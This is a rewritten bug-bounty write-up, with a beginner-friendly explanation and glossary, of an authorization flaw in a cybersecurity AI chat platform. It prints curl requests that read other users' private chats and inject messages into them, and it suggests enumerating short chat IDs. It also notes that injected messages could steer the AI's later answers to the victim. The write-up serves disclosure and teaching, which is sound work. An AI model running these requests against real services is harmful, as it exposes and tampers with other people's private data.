I Found a Critical BOLA Vulnerability in a Cybersecurity AI Platform — Here’s Exactly How
The platform's chat API and React Server Component page fetch lacked ownership checks, so any authenticated user could read or write another user's private chat by supplying the target's short chat ID. This exposed full conversation histories and allowed message injection into victims' chats.
Published on medium.com
Cybersecurity
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
The target was a cybersecurity-focused AI chat product: a red-team AI assistant aimed at security professionals, with free and paid tiers and login through GitHub and Google OAuth. The stack, as described in the write-up, was Next.js with React Server Components (RSC), Auth.js v5 with JWE-encrypted session tokens, and Vercel hosting. Conversations were stored under short alphanumeric chat IDs, seven characters, nanoid-style.
The feature under test is the ordinary chat flow: a logged-in user creates a conversation, sends a message, and the AI answers. The server stores the conversation and later serves it back to the owner. The bug is that the server never checked that the caller was the owner.
Any authenticated user, including a free-tier account, could read the complete private chat history of any other user and write messages into any other user's conversations. All that was needed was a valid session and the target's short chat ID. The researcher reports a $500 bounty, High severity, CVSS 8.6.

Setup
Two accounts were created, both authenticated through OAuth:
| Account A (Victim) | Account B (Attacker) | |
|---|---|---|
| Auth | OAuth | OAuth |
| User ID | uid_victim_001 |
uid_attacker_002 |
| Chat ID | aB3xK9m |
zR7wL2p |
Both sessions were confirmed to belong to different users by calling the session endpoint with each cookie. The requests and responses shown in the report are:
curl -sk 'https://example.com/api/auth/session' \ -H 'Cookie: __Secure-authjs.session-[redacted]'
{ "user": { "name": "TestUser_A", "email": "[redacted]", "id": "uid_victim_001" }, "expires": "2026-07-05T06:26:48.762Z"}
curl -sk 'https://example.com/api/auth/session' \ -H 'Cookie: __Secure-authjs.session-[redacted]'
{ "user": { "name": "TestUser_B", "email": "[redacted]", "id": "uid_attacker_002" }, "expires": "2026-07-05T06:36:15.799Z"}
Two distinct users, two distinct sessions. The session cookie is named __Secure-authjs.session-token, which is the Auth.js v5 cookie name. Because Auth.js v5 uses JWE-encrypted session tokens, the token cannot be decoded client-side: the user identity lives server-side in the session, and the server alone is responsible for tying that identity to data access. If the server skips the check, nothing on the client can compensate.
No special tools were used beyond curl and local analysis of the JavaScript bundles.
Finding it
Before sending any test request, the researcher mapped the application.
JS bundle mining. Every JavaScript chunk the application loaded was downloaded and analysed locally. Grepping through the files revealed:
- all client-side routes via
_buildManifest.js; - API endpoint patterns including
/api/chats,/api/messages, and session routes; - short alphanumeric ID patterns used for chat identifiers;
- Next.js Server Action IDs (long hex strings).
The key observation was that chat IDs were short: seven characters of mixed-case alphanumeric. That is a red flag for BOLA, because a small ID space makes brute force feasible, and short IDs often indicate that no secondary ownership validation is in place.
Architecture observation. The app used React Server Components, so a page fetch carrying an RSC: 1 header makes the server return full hydration data, including all chat messages embedded in the RSC payload. This matters for the read exploit: without the header you get a partial HTML shell, with it you get everything the page loads.
The testing methodology is the standard two-account cross-access pattern:
- Create two separate test accounts (Account A = victim, Account B = attacker).
- Perform an action as Account A.
- Attempt to access or modify that resource as Account B.
- If it works, BOLA is confirmed.
Exploitation
Step 1: Account A creates a private chat
Account A sends a message, creating chat aB3xK9m:
curl -sk 'https: -H 'Cookie: __Secure-authjs.session-[redacted]' \ -H 'Content-Type: text/plain;charset=UTF-8' \ -d '{ "messages": [ { "id": "aB3xK9m", "content": "Explain how SQL injection works", "role": "user" } ], "id": "aB3xK9m" }'
The body carries a messages array with a single user message and the chat id, and the same id is repeated at the top level of the body. The AI answered with a detailed explanation. The chat now lives in the database, owned by Account A (uid_victim_001), and should only be readable and writable by Account A.
Step 2: Read BOLA, Account B reads Account A's private chat
Account B requests Account A's chat page using Account B's session cookie and Account A's chat ID:
curl -sk 'https: -H 'Cookie: __Secure-authjs.session-[redacted]' \ -H 'RSC: 1' \ | grep -oP '"content":"[^"]*"' | head -10
The RSC: 1 header is the key: it makes the server return the full hydration payload, and the grep extracts the content fields from it. The expected result was 403 Forbidden or 404 Not Found. The actual response was:
"content":"You are [Platform Name], a cybersecurity focused AI assistant...""content":"Explain how SQL injection works""content":"SQL injection is a code injection technique that attackers use to..."
Account B read Account A's private chat in full: the system prompt, the user message and the AI response.
Step 3: Read BOLA in reverse, Account A reads Account B's chat
The vulnerability is bidirectional. Account A reads Account B's chat zR7wL2p:
curl -sk 'https: -H 'Cookie: __Secure-authjs.session-[redacted]' \ -H 'RSC: 1' \ | grep -oP '"content":"[^"]*"' | head -10
The actual response was:
"content":"You are [Platform Name], a cybersecurity focused AI assistant...""content":"How do I enumerate Active Directory?""content":"Active Directory enumeration typically begins with..."
This confirms the read is bidirectional: any user can read any other user's chats.
Step 4: Write BOLA, Account B injects a message into Account A's chat
Account B sends a POST to /api/chat using Account B's session but Account A's chat ID in the request body:
curl -sk 'https: -H 'Cookie: __Secure-authjs.session-[redacted]' \ -H 'Content-Type: text/plain;charset=UTF-8' \ -d '{ "messages": [ { "id": "aB3xK9m", "content": "BOLA-WRITE-TEST-FROM-ATTACKER", "role": "user" } ], "id": "aB3xK9m" }'
The expected result was 403 Forbidden. The actual response was:
HTTP/2 200content-type: text/plain; charset=utf-8BOLA-WRITE-TEST-FROM-ATTACKER[AI response to injected message...]
The server returned HTTP 200, processed the message and saved it to Account A's conversation. Account B wrote into Account A's private chat, and the response included a placeholder for an AI reply to the injected message.
Step 5: Verify unauthenticated access is blocked
curl -sk 'https: -H 'RSC: 1'
The response was empty: no chat data returned. This confirms the server does have authentication, since you must be logged in, but has no authorization, since it does not check whether the logged-in user owns the resource being requested.
Summary of results
| Test | Expected | Actual | Result |
|---|---|---|---|
| Account B reads Account A's chat | 403 / 404 | 200 + full chat content | Vulnerable |
| Account A reads Account B's chat | 403 / 404 | 200 + full chat content | Vulnerable |
| Account B writes to Account A's chat | 403 | 200 + message saved | Vulnerable |
| Unauthenticated reads any chat | Blocked | Blocked (empty) | Secure |
CVSS
The researcher scored it as CVSS 4.0, 8.6 (High):
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
| Vector | Value | Reasoning |
|---|---|---|
| Attack Vector | Network | Exploitable remotely |
| Attack Complexity | Low | No special conditions needed |
| Privileges Required | Low | Free account is sufficient |
| User Interaction | None | No victim action required |
| Confidentiality | High | Full chat history exposed |
| Integrity | High | Messages injectable into victim chats |
| Availability | None | Data not destroyed by default exploit |
Root cause
The server performed authentication, verifying that the user was logged in via their session token, but not authorization, verifying that the logged-in user owned the chat being accessed. In practice, the database queries behind both the RSC chat fetch and the /api/chat POST were missing an ownership clause. The report contrasts what existed with what was needed:
SELECT * FROM chats WHERE chat_id = :chat_idSELECT * FROM chats WHERE chat_id = :chat_id AND user_id = :session_user_id
The same bug existed on both the read path (the React Server Component) and the write path (the API route handler). The unauthenticated test in Step 5 shows why the existing defence did not help: the session check worked correctly, so the request was always tied to a real user, but the resource lookup never compared that user to the chat's owner. The report treats the short, nanoid-style IDs as a red flag for BOLA, since a small ID space makes brute force feasible.
Impact
Any authenticated user, including a free-tier account, could read the complete private chat history of any other user and write messages into any other user's conversations, given a valid session and the target's chat ID. No elevated privileges were needed.
The context raises the severity. This was a cybersecurity AI platform, and users were likely discussing exploit code and payloads they had generated, vulnerability details from active client engagements, internal network architecture and IP ranges, credentials and API keys pasted for analysis, and confidential red-team assessment findings. A complete read of any user's chat history on this platform is a potential goldmine for attackers and a serious breach of trust for security professionals who believed their work was private.
The write capability compounds the risk: by injecting context into a victim's conversation, an attacker could manipulate future AI responses, causing the AI to give incorrect, misleading or dangerous guidance the next time the victim interacts with that chat. The report notes that data is not destroyed by the default exploit, which is why availability is scored None.
Fix
The remediation is straightforward. The report gives these steps:
- Add ownership validation on every chat access:
const chat = await db.chats.findFirst({ where: { id: chatId, userId: session.user.id }});if (!chat) { return new Response(null, { status: 404 }); }
- Apply it to all chat operations: read, write, delete, share, and any Server Actions (for example
clearChats,shareChat). - Consider longer chat IDs (for example UUIDv4) as defence-in-depth to reduce brute-force feasibility.
- Audit other resource types: if chat access was unscoped, user profiles, billing data and shared resources may be too.
On the disclosure side, the write path was patched on day 1. A follow-up report was submitted on day 2 for the read path, which remained open after the initial fix, and read path remediation was still in progress when the write-up was published. The report lists the $500 bounty as paid, with read path remediation still in progress.
Variants to test
- Cross-account read through RSC. On any Next.js app using React Server Components, request another account's resource page with your own cookie and
RSC: 1. A positive result is a 200 whose payload contains the other user's content, where a 403 or 404 was expected. - Cross-account write through the chat API. POST a message with your session but the victim's resource ID in the body. A positive result is HTTP 200 and the message appearing in the victim's conversation.
- Reverse direction. Repeat both tests with the accounts swapped. A positive result in both directions confirms the check is missing entirely rather than being tied to one role.
- Unauthenticated control. Send the same request without a cookie. An empty or blocked response confirms authentication works and isolates the flaw to authorization.
- Other resource types. Apply the same two-account pattern to profiles, billing data, shared resources and Server Actions such as
clearChatsandshareChat. A positive result is any cross-account read or state change that should have been refused. - Short identifier enumeration. Where IDs are short and nanoid-style, sample IDs from the observed alphabet and length. A positive result is any ID belonging to another user returning data to your session.
Takeaways
- Always test with two accounts. BOLA is one of the highest-paying bug classes and one of the most overlooked, and the test costs nothing.
- Learn the
RSC: 1header. On Next.js applications using React Server Components it triggers a full server-side data hydration response, which can expose data that a partial HTML shell hides. - Short IDs are a hint. Seven-character alphanumeric IDs suggest the developers may not have anticipated direct access attempts, and often correlate with missing ownership validation.
- Authentication is not authorization. A server that correctly rejects unauthenticated requests can still have broken authorization; confirm both exist independently.
- Read the architecture, not just the endpoints. Knowing that the app used RSC for hydration and short IDs for resources told the researcher where to look before testing a single endpoint.
The pattern, authentication without authorization, is a missing WHERE userId = :sessionUserId clause. There is no shell and no RCE, but every user's private data is exposed to every other user.
What happened, in plain words
A security researcher found a serious flaw in a website that offers an AI chat assistant for cybersecurity professionals. The flaw meant that anyone with a normal, free account could read the private conversations of every other user, and could even type new messages into those conversations. The researcher reported it, the company paid a $500 bounty, and the write-up explains how it was found so that other people can look for the same kind of mistake.
Before going further, a few words that will come up constantly.
- A website is a program running on a computer somewhere else (the server) that your browser talks to over the internet. Your browser (the client) asks for things; the server answers.
- An API is the part of a website that answers requests with raw data rather than pretty pages. Think of a restaurant: the dining room is the website you see, and the kitchen door where orders go in and plates come out is the API. You can talk to the kitchen directly if you know the right words.
- A cookie is a small piece of text your browser stores for a website and sends back with every request. It is how the site remembers who you are between page loads. A session token is the value inside that cookie that acts like a wristband at an event: show it and the door staff know you already checked in.
- Authentication means proving who you are (showing the wristband). Authorization means deciding what you are allowed to do (the wristband gets you into the general area, but not into the staff room). These are two different questions, and this whole story is about a site that answered the first and forgot the second.
- BOLA, short for Broken Object-Level Authorization, is the name for exactly that second mistake: the site checks that you are logged in, but never checks that the specific thing you asked for (the "object") belongs to you. If a hotel gives every guest a key card that opens every room, the lock works and the guest is real, but the check on which room is missing.
The researcher's summary of the impact is blunt: any authenticated user, including a free-tier account, could read the complete private chat history of any other user, and could write messages into any other user's chat conversations. All that was needed was a valid session and the target's short chat ID. No elevated privileges, no special tools, one curl command.

curl is a command-line tool for sending web requests by hand. Instead of clicking buttons in a browser, you type the request yourself, which lets you change parts of it (the cookie, the address, the body) that a browser would normally hide from you. It is the equivalent of being able to open the restaurant kitchen door yourself instead of ordering through the waiter.
The target
The platform was a cybersecurity-focused AI chat product. In plain terms: you log in, start a conversation, type a question about security, and an AI answers. It was built on:
- Next.js with React Server Components (RSC). Next.js is a framework for building websites; React Server Components are a way for the server to send a page together with all the data it needs in one go, rather than sending an empty page that then fetches data separately.
- Auth.js v5 with JWE-encrypted session tokens. Auth.js is a ready-made login system. JWE means the session token is encrypted, so you cannot open it up and read what is inside; only the server can.
- Vercel hosting, meaning the computers running the site belong to a hosting company called Vercel.
- Short alphanumeric chat IDs (7 characters, nanoid-style) for storing conversations. Every conversation has a name, its ID, made of seven mixed letters and digits, for example
aB3xK9m. "nanoid" is just a tool that generates random-looking short strings.
It had free and paid tiers, GitHub and Google OAuth login (OAuth is the "Log in with Google" button: you prove who you are to Google, and Google tells the site), and positioned itself as a red-team AI for security professionals. A red team is a group of security people who attack their own organisation on purpose to find weaknesses before real attackers do.
That last detail made this BOLA particularly severe, because users were likely discussing exploit code, client engagements, vulnerability research and internal network details. In other words, the private conversations were not small talk; they were the kind of material an attacker would love to read.
Phase 1: Recon, understanding the application
Recon (reconnaissance) means looking around before touching anything, the way a burglar might study a building's layout from the street before trying a door. Before sending a single test request, the researcher spent time mapping the application's structure.
JS bundle mining
A modern website sends your browser a pile of JavaScript files (the code that makes the page interactive). These files are called bundles. The researcher downloaded every JavaScript chunk the application loaded and analysed them locally, searching through the text with a tool called grep, which finds lines containing a pattern.
By grepping through the downloaded files, the researcher found:
- all client-side routes via
_buildManifest.js. A route is simply a page address, like/settingsor/chat. - API endpoint patterns including
/api/chats,/api/messages, and session routes. An endpoint is a specific address the API answers on. - short alphanumeric ID patterns used for chat identifiers.
- Next.js Server Action IDs (long hex strings). A Server Action is a function that runs on the server when the page calls it; its ID is a long string of hexadecimal characters (0-9 and a-f).
The key observation was that chat IDs were short: seven characters of mixed-case alphanumeric. This is a red flag for BOLA, for two reasons. First, a small ID space makes brute force feasible: if there are few possible IDs, guessing many of them is practical. Second, short IDs often indicate that no secondary ownership validation is in place, because developers who expect IDs to be secret tend not to add a second check.
Session token inspection
Auth.js v5 uses JWE-encrypted session tokens, so you cannot decode them client-side. This means the user identity lives server-side in the session, and the server is solely responsible for tying it to data access. If the server skips that check, nothing client-side can save it. In everyday terms: the wristband is opaque, so the only person who can read who you are is the door staff. If the door staff forget to look, nobody else will notice for them.
Architecture observation
The researcher noticed the app used React Server Components, meaning page fetches with an RSC: 1 header cause the server to return full hydration data, including all chat messages embedded in the RSC payload. A header is extra information attached to a request, like a note on the envelope rather than the letter inside. Hydration data is the information the server sends so the page can be filled in with real content. This would become important for the read exploit: without the header you get a partial HTML shell, with it you get everything the page loads.
Phase 2: Two-account BOLA testing
The methodology is simple and repeatable:
- Create two separate test accounts (Account A = victim, Account B = attacker).
- Perform an action as Account A.
- Attempt to access or modify that resource as Account B.
- If it works, BOLA is confirmed.
Why two accounts? Because the question is not "can I log in?" but "can this logged-in person touch that other person's things?". You need one person to own something and another person to try to reach it. It is the difference between checking that your own key opens your own door and checking whether your neighbour's key opens it too.
Test environment setup
| Account A (Victim) | Account B (Attacker) | |
|---|---|---|
| Auth | OAuth | OAuth |
| User ID | uid_victim_001 |
uid_attacker_002 |
| Chat ID | aB3xK9m |
zR7wL2p |
Both sessions were confirmed to belong to different users by hitting the session endpoint, an address that tells you who you are logged in as, with each cookie:
curl -sk 'https://example.com/api/auth/session' \ -H 'Cookie: __Secure-authjs.session-[redacted]'
Line by line:
curlis the tool sending the request.-smeans silent: do not print progress noise.-kmeans ignore certificate warnings. Certificates are the padlocks that prove a site is genuine; during testing, researchers often skip the check so a test setup does not fail on a technicality.- The address in quotes is the session endpoint on the example domain.
\at the end of a line means the command continues on the next line.-Hadds a header. Here it adds theCookieheader, carrying the session cookie named__Secure-authjs.session-tokenwith Account A's token in place of the placeholder.
The response was:
{ "user": { "name": "TestUser_A", "email": "[redacted]", "id": "uid_victim_001" }, "expires": "2026-07-05T06:26:48.762Z"}
This is JSON, a common text format for data: curly braces group things, names in quotes are labels, and values follow a colon. Reading it: the server says the logged-in user is named TestUser_A, has that email address, has the internal ID uid_victim_001, and the session expires at the stated time. The important part is the id: that is the identity the server will use when deciding what this person may access.
The same request with Account B's token:
curl -sk 'https://example.com/api/auth/session' \ -H 'Cookie: __Secure-authjs.session-[redacted]'
{ "user": { "name": "TestUser_B", "email": "[redacted]", "id": "uid_attacker_002" }, "expires": "2026-07-05T06:36:15.799Z"}
Two distinct users, two distinct sessions. That matters because if both cookies had secretly belonged to the same account, every later test would prove nothing.
Step 1: Account A creates a private chat
Account A sends a message, creating chat aB3xK9m:
curl -sk 'https: -H 'Cookie: __Secure-authjs.session-[redacted]' \ -H 'Content-Type: text/plain;charset=UTF-8' \ -d '{ "messages": [ { "id": "aB3xK9m", "content": "Explain how SQL injection works", "role": "user" } ], "id": "aB3xK9m" }'
Line by line:
curl -sksends the request silently and without certificate checks, as before.- The address is cut off in the report as
'https:; the report does not show the full URL for this request. -H 'Cookie: ...'attaches Account A's session cookie, so the server knows the request comes from Account A.-H 'Content-Type: text/plain;charset=UTF-8'tells the server what kind of body to expect.charset=UTF-8just says the text is encoded in a standard way that handles most characters.-d '...'is the body of the request, the actual message being sent.
The body is JSON. It contains a messages array (a list) with one entry: an id of aB3xK9m, the content "Explain how SQL injection works", and a role of user. The role tells the AI who is speaking: here, the human user rather than the assistant. The same chat id is repeated at the top level of the body, so the server knows which conversation this message belongs to.
SQL injection, by the way, is a classic attack where someone slips database commands into a form field so the database runs them. Asking the AI to explain it is a realistic thing a security professional would type, which makes it a good test message.
The AI responded with a detailed explanation. This chat now lives in the database, owned by Account A (uid_victim_001). It should only be readable and writable by Account A. That word "should" is the whole point: the researcher is about to check whether the server actually enforces it.
Step 2: READ BOLA, Account B reads Account A's private chat
Account B requests Account A's chat page, using Account B's session cookie and Account A's chat ID:
curl -sk 'https: -H 'Cookie: __Secure-authjs.session-[redacted]' \ -H 'RSC: 1' \ | grep -oP '"content":"[^"]*"' | head -10
Line by line:
- The cookie is Account B's, so the server sees a request from the attacker.
-H 'RSC: 1'adds the RSC header. This is the trick described earlier: it asks the server for the full data payload rather than a bare page shell.- The
|symbol pipes the output of one command into the next, like passing a plate along a counter. grep -oP '"content":"[^"]*"'searches the output for pieces that look like"content":"..."and prints only those matches.-omeans print only the matching part,-Pmeans use a richer pattern language, and[^"]*means any run of characters that are not a quote.head -10shows only the first ten results, so the screen is not flooded.
The expected result was 403 Forbidden or 404 Not Found. Those are HTTP status codes, the three-digit numbers servers use to answer. 200 means "here you go", 403 means "I know who you are but you may not have this", and 404 means "there is nothing here by that name". Either would have been the correct answer for someone asking for another user's chat.
The actual response was:
"content":"You are [Platform Name], a cybersecurity focused AI assistant...""content":"Explain how SQL injection works""content":"SQL injection is a code injection technique that attackers use to..."
Account B read Account A's private chat in full: the system prompt, the user message and the AI response. The system prompt is the hidden instruction the platform gives the AI at the start of every conversation, telling it how to behave. Seeing it is like reading the staff briefing notes along with the customer's order.
The RSC: 1 header is the key here. React Server Components deliver full page hydration data, including all embedded chat messages, when this header is present. Without it, you would get a partial HTML shell. With it, you get everything. This is why the researcher spent time understanding the architecture before testing: knowing this header existed turned a hidden page into an open book.
Step 3: READ BOLA in reverse, Account A reads Account B's chat
The vulnerability is bidirectional. Account A reads Account B's chat zR7wL2p:
curl -sk 'https: -H 'Cookie: __Secure-authjs.session-[redacted]' \ -H 'RSC: 1' \ | grep -oP '"content":"[^"]*"' | head -10
This is the same request as before with the two accounts swapped: Account A's cookie, Account B's chat ID. The reason to do it is to rule out a one-way quirk. If only B could read A, you might suspect some special relationship between the accounts. If both directions work, the check is simply missing for everyone.
The actual response was:
"content":"You are [Platform Name], a cybersecurity focused AI assistant...""content":"How do I enumerate Active Directory?""content":"Active Directory enumeration typically begins with..."
Active Directory is Microsoft's system for managing users and computers in a company network, and enumerating it means listing out its contents, a common early step in a network attack. Again, exactly the kind of sensitive question a security professional might ask privately.
This confirms the read is bidirectional: any user can read any other user's chats.
Step 4: WRITE BOLA, Account B injects a message into Account A's chat
Now the scarier part. Account B sends a POST to /api/chat using Account B's session but Account A's chat ID in the request body:
curl -sk 'https: -H 'Cookie: __Secure-authjs.session-[redacted]' \ -H 'Content-Type: text/plain;charset=UTF-8' \ -d '{ "messages": [ { "id": "aB3xK9m", "content": "BOLA-WRITE-TEST-FROM-ATTACKER", "role": "user" } ], "id": "aB3xK9m" }'
Line by line:
- The cookie is Account B's, so the server knows the attacker is asking.
- The body is JSON with a
messageslist containing one message whoseidisaB3xK9m, which is Account A's chat, and whosecontentis the marker textBOLA-WRITE-TEST-FROM-ATTACKER. The marker is deliberately obvious so that it can be spotted later in the victim's conversation. - The top-level
idis againaB3xK9m, telling the server which conversation to write into.
A POST is the kind of request used to send data and cause a change, as opposed to a GET, which just asks for something. Reading is a GET; writing is a POST. The expected result was 403 Forbidden, because Account B has no business writing into Account A's chat.
The actual response was:
HTTP/2 200content-type: text/plain; charset=utf-8BOLA-WRITE-TEST-FROM-ATTACKER[AI response to injected message...]
Reading this: HTTP/2 200 says the request succeeded using version 2 of the HTTP protocol. content-type: text/plain; charset=utf-8 says the reply is plain text. Then comes the marker text, followed by the AI's answer to the injected message.
The server returned HTTP 200, processed the message and saved it to Account A's conversation. Account B wrote into Account A's private chat, and the response included a placeholder for an AI reply. To go back to the hotel comparison: not only could the attacker open every room, they could leave notes inside for the guest to find.
Step 5: Verify unauthenticated access is blocked
curl -sk 'https: -H 'RSC: 1'
This is the same kind of request as the read test, but with no cookie at all. The point is a control: a test that should fail, to prove the earlier tests failed for the right reason. If a request with no login also returned chat data, the problem would be even worse than thought. If it returns nothing, then the login check is working and the flaw is specifically in the ownership check.
The response was empty: no chat data returned. This confirms the server does have authentication, since you must be logged in, but it has no authorization, since it does not check whether the logged-in user owns the resource being requested.
Summary of results
| Test | Expected | Actual | Result |
|---|---|---|---|
| Account B reads Account A's chat | 403 / 404 | 200 + full chat content | Vulnerable |
| Account A reads Account B's chat | 403 / 404 | 200 + full chat content | Vulnerable |
| Account B writes to Account A's chat | 403 | 200 + message saved | Vulnerable |
| Unauthenticated reads any chat | Blocked | Blocked (empty) | Secure |
The table is worth reading slowly. The first three rows are the bug: the server should have refused and instead handed over the data or accepted the write. The last row is the proof that the login system itself is fine, which is what makes this an authorization bug rather than a broken login.
CVSS score breakdown
CVSS is a standard scoring system for vulnerabilities. It turns a description into a number from 0 to 10 so that everyone can compare severity consistently. The researcher scored it as CVSS 4.0, 8.6 (High):
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
That string is the vector: a compact list of the answers that produced the score. Each pair is a label and a value.
| Vector | Value | Reasoning |
|---|---|---|
| Attack Vector | Network | Exploitable remotely |
| Attack Complexity | Low | No special conditions needed |
| Privileges Required | Low | Free account is sufficient |
| User Interaction | None | No victim action required |
| Confidentiality | High | Full chat history exposed |
| Integrity | High | Messages injectable into victim chats |
| Availability | None | Data not destroyed by default exploit |
In plain words: the attacker can work over the internet (Network), needs no lucky timing or special setup (Low complexity), only needs an ordinary account (Low privileges), does not need the victim to click anything (No user interaction), can read secrets (High confidentiality impact), can change data (High integrity impact), and does not destroy anything (No availability impact).
Why this is severe, context matters
On a generic chat app, a BOLA exposing "what someone said to a chatbot" might feel like Medium severity. Here, the context pushes it to High.
This was a cybersecurity AI platform. Users were likely discussing:
- exploit code and payloads they had generated;
- vulnerability details from active client engagements;
- internal network architecture and IP ranges;
- credentials and API keys pasted for analysis;
- confidential red-team assessment findings.
A payload is the actual malicious input used in an attack. Credentials are usernames and passwords, and API keys are secret strings that let software talk to a service. People often paste these into a chat to ask the AI to explain or fix them, which means the private conversations could contain the keys to other systems entirely.
A complete read of any user's chat history on this specific platform is a potential goldmine for attackers, and a serious breach of trust for security professionals who believed their work was private.
The write capability compounds the risk. By injecting context into a victim's conversation, an attacker could manipulate future AI responses, causing the AI to provide incorrect, misleading or dangerous guidance the next time the victim interacts with that chat. Think of it as slipping a fake page into someone's reference book: the next time they look something up, the book lies to them.
Root cause
The server performed authentication, verifying the user was logged in via their session token, but not authorization, verifying the logged-in user owned the chat they were accessing.
In practice, this means the database queries for both the RSC chat fetch and the /api/chat POST were missing an ownership clause. A database query is the instruction the server sends to its database, and a clause is a condition inside it. The report contrasts what existed with what was needed:
SELECT * FROM chats WHERE chat_id = :chat_idSELECT * FROM chats WHERE chat_id = :chat_id AND user_id = :session_user_id
Line by line:
SELECT * FROM chatsmeans "give me every column of every row in the chats table". A table is like a spreadsheet, with rows for records and columns for fields.WHERE chat_id = :chat_idnarrows it to the row whose chat ID matches the one asked for. The colon-prefixed name is a placeholder for a value filled in by the program.- The second line is what should have been there: the same lookup, plus
AND user_id = :session_user_id, meaning "and only if the row's owner matches the logged-in user".
The first query is the bug. It finds the chat by its ID alone, with no question about who is asking. The second is the fix: it finds the chat only if it belongs to the person making the request.
The same bug existed on both the read path (the React Server Component) and the write path (the API route handler). A route handler is the piece of server code that runs when a particular address is requested. Two doors, same missing lock.
The fix
The remediation is straightforward. The report gives these steps.
- Add ownership validation on every chat access:
const chat = await db.chats.findFirst({ where: { id: chatId, userId: session.user.id }});if (!chat) { return new Response(null, { status: 404 }); }
Line by line:
const chat = await db.chats.findFirst({...})asks the database for the first chat matching a set of conditions, and waits for the answer before continuing.awaitmeans "pause here until this finishes".where: { id: chatId, userId: session.user.id }is the crucial part: match on the chat ID and on the logged-in user's ID at the same time. This is the ownership clause in code form.if (!chat)means "if nothing was found".return new Response(null, { status: 404 })sends back an empty response with status 404. Returning "not found" rather than "forbidden" is a deliberate choice: it avoids confirming to an attacker that a chat with that ID exists at all.
- Apply it to all chat operations: read, write, delete, share, and any Server Actions (for example
clearChats,shareChat). The lesson is that a fix in one place is not a fix; every door needs the same lock. - Consider longer chat IDs (for example UUIDv4) as defence-in-depth to reduce brute-force feasibility. A UUIDv4 is a long random identifier, so guessing one is impractical. Defence-in-depth means adding a second layer of protection in case the first fails.
- Audit other resource types: if chat access was unscoped, user profiles, billing data and shared resources may be too. An audit here means checking systematically rather than assuming.
On the disclosure side, the write path was patched on day 1. A follow-up report was submitted on day 2 for the read path, which remained open after the initial fix, and read path remediation was listed as in progress. The $500 bounty was paid. A bounty is a reward a company pays for a responsibly reported bug, and a VDP, mentioned in the report, is a vulnerability disclosure programme: the official channel for reporting such bugs.
Variants to test
If you want to try this kind of testing yourself, these are the variations the report suggests. Each one is a small change to the same two-account idea.
- Cross-account read through RSC. On any Next.js app using React Server Components, request another account's resource page with your own cookie and
RSC: 1. A positive result is a 200 whose payload contains the other user's content, where a 403 or 404 was expected. - Cross-account write through the chat API. POST a message with your session but the victim's resource ID in the body. A positive result is HTTP 200 and the message appearing in the victim's conversation.
- Reverse direction. Repeat both tests with the accounts swapped. A positive result in both directions confirms the check is missing entirely rather than being tied to one role.
- Unauthenticated control. Send the same request without a cookie. An empty or blocked response confirms authentication works and isolates the flaw to authorization.
- Other resource types. Apply the same two-account pattern to profiles, billing data, shared resources and Server Actions such as
clearChatsandshareChat. A positive result is any cross-account read or state change that should have been refused. - Short identifier enumeration. Where IDs are short and nanoid-style, sample IDs from the observed alphabet and length. A positive result is any ID belonging to another user returning data to your session. Enumeration means trying values in a systematic way, like trying every combination on a small padlock.
Key takeaways for bug hunters
- Always test with two accounts. BOLA is one of the highest-paying bug classes and one of the most overlooked. You need two accounts and a systematic cross-access test for every resource type. This costs nothing: no special tools, no expensive subscriptions.
- Learn the
RSC: 1header. On Next.js applications using React Server Components, theRSC: 1request header triggers a full server-side data hydration response. Without it, you may get a partial HTML shell that hides data. With it, you get everything the page loads, including embedded resource content. - Short IDs are a hint. Seven-character alphanumeric IDs (nanoid-style) are a signal worth noting. The small ID space suggests the developers may not have anticipated direct access attempts, and often correlates with missing ownership validation.
- Authentication is not authorization. A server that correctly rejects unauthenticated requests can still have broken authorization. Confirm that both exist independently. In this case, auth worked and authz was completely absent.
- Read the architecture, not just the endpoints. Understanding that this app used RSC for data hydration and short IDs for resources told the researcher where to look before testing a single endpoint. Architecture awareness multiplies your efficiency.
Final thought
Authorization bugs are quietly some of the most impactful vulnerabilities in production applications. There is no shell, no RCE, no dramatic exploit chain, just a missing WHERE userId = :sessionUserId clause. RCE means remote code execution, the ability to run your own commands on someone else's server; this bug is not that, and it does not need to be. The effect is severe: every user's private data is exposed to every other user.
The pattern, authentication without authorization, appears in a significant portion of the API-heavy applications tested during real engagements. Developers invest heavily in login systems, OAuth flows and session management, then forget the second question: is this authenticated user actually allowed to access this specific resource?
If you are new to bug bounty hunting, BOLA testing should be one of the first things you try on any new target. Set up two accounts. Find a resource. Try to access it from the other session. It is that simple, and it consistently pays out.
Glossary
- API: the part of a website that answers requests with raw data rather than full pages.
- Authentication: proving who you are, for example by logging in.
- Authorization: deciding what a logged-in person is allowed to access or change.
- BOLA (Broken Object-Level Authorization): a flaw where the server checks that you are logged in but not that the specific object you asked for belongs to you.
- Bounty: a reward a company pays for a responsibly reported security bug.
- Brute force: trying many possible values systematically until one works.
- Bundle: a file of JavaScript that a website sends to your browser.
- Client: the program on your side, usually your browser, that sends requests.
- Cookie: a small piece of text your browser stores and sends back to a site so it can remember you.
- Credentials: usernames, passwords or other secrets used to log in.
- Cross-account access: reaching one account's data while logged in as another account.
- curl: a command-line tool for sending web requests by hand.
- CVSS: a standard scoring system that turns a vulnerability into a number from 0 to 10.
- Defence-in-depth: adding extra layers of protection so that one failure does not expose everything.
- Endpoint: a specific address an API answers on, such as
/api/chat. - Enumeration: listing or trying values systematically, such as many possible IDs.
- GET: a request that asks for something without changing it.
- grep: a command-line tool that finds lines or patterns in text.
- Header: extra information attached to a web request or response, separate from the body.
- HTTP status code: the three-digit number a server answers with, such as 200 (success), 403 (forbidden) or 404 (not found).
- Hydration data: the information a server sends so a page can be filled in with real content.
- JavaScript: the programming language that runs in web pages and on many servers.
- JWE: a way of encrypting a token so its contents cannot be read by the client.
- JSON: a common text format for structured data, using braces, labels and values.
- nanoid: a tool that generates short random-looking identifiers.
- Next.js: a framework for building websites, often with React.
- OAuth: a login method where another service, such as Google or GitHub, confirms who you are.
- Ownership clause: the part of a database query that checks the record belongs to the logged-in user.
- Payload: the actual data or input used in an attack or a request.
- POST: a request that sends data and can cause a change on the server.
- RCE (remote code execution): the ability to run your own commands on someone else's server.
- React Server Components (RSC): a Next.js feature where the server sends a page together with its data in one response.
- Recon: looking around and mapping a target before testing it.
